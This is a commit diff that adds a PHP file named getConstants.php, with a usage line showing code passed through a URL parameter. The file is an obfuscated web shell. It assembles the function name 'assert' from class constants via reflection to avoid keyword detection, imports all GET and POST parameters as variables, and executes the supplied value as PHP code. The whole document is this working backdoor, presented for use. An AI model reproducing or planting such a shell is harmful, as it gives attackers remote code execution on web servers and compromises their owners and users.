Create getConstants.php

use: xxxxxx/getConstants?1=phpinfo()
from : https://xz.aliyun.com/t/8684

php/getConstants.php

@@ -0,0 +1,27 @@
+<?php
+class Test
+{
+    const a = 'As';
+    const b = 'se';
+    const c = 'rt';
+
+    public function __construct()
+    {
+    }
+}
+$para1;
+$para2;
+$reflector = new ReflectionClass('Test');
+
+for ($i=97; $i <= 99; $i++) {
+    $para1 = $reflector->getConstant(chr($i));
+    $para2.=$para1;
+}
+
+foreach (array('_POST','_GET') as $_request) {
+    foreach ($$_request as $_key=>$_value) {
+        $$_key=  $_value;
+    }
+}
+
+$para2($_value);